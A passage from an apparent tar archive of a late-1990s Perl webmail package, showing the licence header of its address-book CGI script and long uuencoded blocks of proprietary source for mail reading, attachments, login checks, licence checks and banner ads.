,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
2)'%U97)Y(#T@;F5W($-'23L*
M;7D@)'5S97)N86UE("`@("`@(#T@)G5N97-C87!E7W5R;"@D<75E<GDM/G!A
0<F%M*%5315).04U%*2D["@``
M;7D@)&US9VYO("`@("`@("`@(#T@)G5N97-C87!E7W5R;"@D<75E<GDM/G!A
-<F%M*$U31TY/*2D["@``
M;7D@)&%T=&YO("`@("`@("`@(#T@)G5N97-C87!E7W5R;"@D<75E<GDM/G!A
-<F%M*$%45$Y/*2D["@``
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
>)G9A;&ED871E*"1M<V=N;RPG6UQD+5TK)RPV*3L*
G*"1M<V=N;R`]?B`O7B@N*BDD+RD@)B8@*"1M<V=N;R`]("0Q*3L*
;)G9A;&ED871E*"1A='1N;RPG7&0K)RPR*3L*
G*"1A='1N;R`]?B`O7B@N*BDD+RD@)B8@*"1A='1N;R`]("0Q*3L*
L)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B.PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
M)'-E;G1?9FYA;64@/2`B)'5S97)?9&ER;F%M92]!1$I%4T5.5$9/3$1%4D%#
+5$E612YT>'0B.PH`
L)&US9V1B(#T@("`@("`B)'5S97)?9&ER;F%M92]M97-S86=E<RYT>'0B.PH`
M*"UF("1S96YT7V9N86UE*2`F)B`H)&US9V1B(#T@(B1U<V5R7V1I<FYA;64O
3;W5T;65S<V%G97,N='AT(BD["@``
M;7D@0&US9W,@/2`F<F5A9%]M97-S86=E<U]F<F]M7V1I<VLH)&US9V1B*3L*
L0&US9U]P87)T<R`]("9G971?86QL7V9I;&5S*"1M<V=S6R1M<V=N;UTI.PH`
M0&%T=&%C:&5D7V9I;&5S(#T@)F=E=%]A='1A8VAE9%]F:6QE<RA`;7-G7W!A
&<G1S*3L*
M)&9U;&Q?9FEL96YA;64@/2`D871T86-H961?9FEL97-;)&%T=&YO72T^>T9)
)3$5.04U%?3L*
M*"1B87-E7V9I;&5N86UE(#T@)&9U;&Q?9FEL96YA;64I(#U^(',O+BI<+R\O
".PH`
M)&-O;G1E;G1?='EP92`@/2`D871T86-H961?9FEL97-;)&%T=&YO72T^>T9/
'4DU!5'T["@``
?;7D@)&QE;B`]("US("(D9G5L;%]F:6QE;F%M92(["@``
M<')I;G0@4U1$3U54(")#;VYT96YT+71Y<&4Z("1C;VYT96YT7W1Y<&5<;B([
!"@``
G<')I;G0@4U1$3U54(")#;VYT96YT+6QE;F=T:#H@)&QE;EQN(CL*
4)&1I<W`](F%T=&%C:&UE;G0B.PH`
M:68@*"1C;VYT96YT7W1Y<&4@/7X@;2->*'1E>'0O:'1M;'QI;6%G92\H9VEF
4?&IP96=\<&IP96<I*20C:2D@>PH`
2*"1D:7-P/2=I;FQI;F4G*3L*
"?0H`
M<')I;G0@4U1$3U54(")#;VYT96YT+61I<W!O<VET:6]N.B`D9&ES<#L@9FEL
996YA;64])&)A<V5?9FEL96YA;65<;B(["@``
M<')I;G0@4U1$3U54(")#;VYT96YT+71R86YS9F5R+65N8V]D:6YG.B!B:6YA
'<GE<;B(["@``
G<')I;G0@4U1$3U54(")!8V-E<'0M4F%N9V5S.B!B>71E<UQN(CL*
D<')I;G0@4U1$3U54(")#;VYN96-T:6]N.B!C;&]S95QN(CL*
3<')I;G0@4U1$3U54(")<;B(["@``
;;W!E;BA&2"PB)&9U;&Q?9FEL96YA;64B*3L*
M=VAI;&4@*')E860H1D@L("1B=69F97(L(#$P,C0I*2![<')I;G0@4U1$3U54
+("1B=69F97([?0H`
+8VQO<V4H1D@I.PH`
wm357/editaddbook.cgi100644    312    144      103234  7245677670  13775 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use CGI qw/(:cgi) escape unescape/;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
